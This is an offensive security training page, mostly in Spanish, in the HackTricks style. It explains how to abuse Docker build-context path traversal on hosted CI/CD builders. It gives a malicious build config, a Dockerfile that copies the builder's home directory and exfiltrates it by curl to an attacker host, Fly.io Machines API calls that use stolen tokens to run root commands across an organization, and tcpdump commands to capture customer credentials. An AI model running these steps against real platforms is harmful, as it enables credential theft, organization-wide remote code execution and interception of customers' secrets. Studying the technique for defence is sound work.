5.4 KiB
Abuso del Docker Build Context en Hosted Builders (Path Traversal, Exfil, and Cloud Pivot)
{{#include ../banners/hacktricks-training.md}}
TL;DR
Si una plataforma CI/CD o un hosted builder permite a los colaboradores especificar la ruta del Docker build context y la ruta del Dockerfile, a menudo puedes establecer el contexto en un directorio padre (p. ej., "..") y hacer que archivos del host formen parte del build context. Entonces, un Dockerfile controlado por el atacante puede COPY y exfiltrate secretos encontrados en el home del usuario del builder (por ejemplo, ~/.docker/config.json). Los tokens robados del registry también pueden funcionar contra las control-plane APIs del proveedor, permitiendo RCE a nivel de organización.
Superficie de ataque
Muchos servicios de hosted builder/registry hacen más o menos esto al construir imágenes enviadas por usuarios:
- Leer una config a nivel de repo que incluye:
- build context path (enviado al Docker daemon)
- Dockerfile path relativo a ese contexto
- Copiar el directorio de build context indicado y el Dockerfile al Docker daemon
- Construir la imagen y ejecutarla como un servicio alojado
Si la plataforma no canonicaliza y restringe el build context, un usuario puede establecerlo en una ubicación fuera del repositorio (path traversal), haciendo que archivos arbitrarios del host legibles por el build user formen parte del build context y estén disponibles para COPY en el Dockerfile.
Restricciones prácticas comúnmente observadas:
- El Dockerfile debe residir dentro de la ruta de contexto elegida y su ruta debe conocerse de antemano.
- El build user debe tener permisos de lectura sobre los archivos incluidos en el contexto; archivos de dispositivo especiales pueden romper la copia.
PoC: Path traversal via Docker build context
Example malicious server config declaring a Dockerfile within the parent directory context:
runtime: "container"
build:
dockerfile: "test/Dockerfile" # Must reside inside the final context
dockerBuildPath: ".." # Path traversal to builder user $HOME
startCommand:
type: "http"
configSchema:
type: "object"
properties:
apiKey:
type: "string"
required: ["apiKey"]
exampleConfig:
apiKey: "sk-example123"
Notas:
- Usar ".." a menudo resuelve al directorio home del usuario builder (p. ej., /home/builder), que típicamente contiene archivos sensibles.
- Coloca tu Dockerfile bajo el nombre del directorio del repo (p. ej., repo "test" → test/Dockerfile) para que permanezca dentro del contexto padre expandido.
PoC: Dockerfile para ingest y exfiltrate el contexto del host
FROM alpine
RUN apk add --no-cache curl
RUN mkdir /data
COPY . /data # Copies entire build context (now builder’s $HOME)
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
Objetivos comúnmente recuperados desde $HOME:
- ~/.docker/config.json (autenticaciones/tokens del registry)
- Otras caches y configuraciones de cloud/CLI (p. ej., ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
Consejo: Incluso con un .dockerignore en el repositorio, la selección de contexto vulnerable en el lado de la plataforma aún rige lo que se envía al daemon. Si la plataforma copia la ruta elegida al daemon antes de evaluar el .dockerignore de tu repo, los archivos del host aún pueden exponerse.
Pivot a la nube con tokens sobreprivilegiados (ejemplo: Fly.io Machines API)
Algunas plataformas emiten un único bearer token usable tanto para el container registry como para la control-plane API. Si exfiltras un registry token, pruébalo contra la API del proveedor.
Ejemplos de llamadas a la API contra Fly.io Machines API usando el token robado de ~/.docker/config.json:
Enumerar apps en una org:
curl -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps?org_slug=smithery"
Ejecutar un comando como root dentro de cualquier máquina de una app:
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
Resultado: a nivel de la organización remote code execution en todas las aplicaciones alojadas donde el token tenga privilegios suficientes.
Robo de secretos de servicios alojados comprometidos
Con exec/RCE en servidores alojados, puedes recolectar secretos proporcionados por clientes (API keys, tokens) o montar prompt-injection attacks. Ejemplo: instala tcpdump y captura tráfico HTTP en el puerto 8080 para extraer credenciales entrantes.
# Install tcpdump inside the machine
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'
# Capture traffic
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
Las solicitudes capturadas a menudo contienen credenciales de cliente en headers, bodies o query params.
Referencias
- Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft
- Fly.io Machines API
{{#include ../banners/hacktricks-training.md}}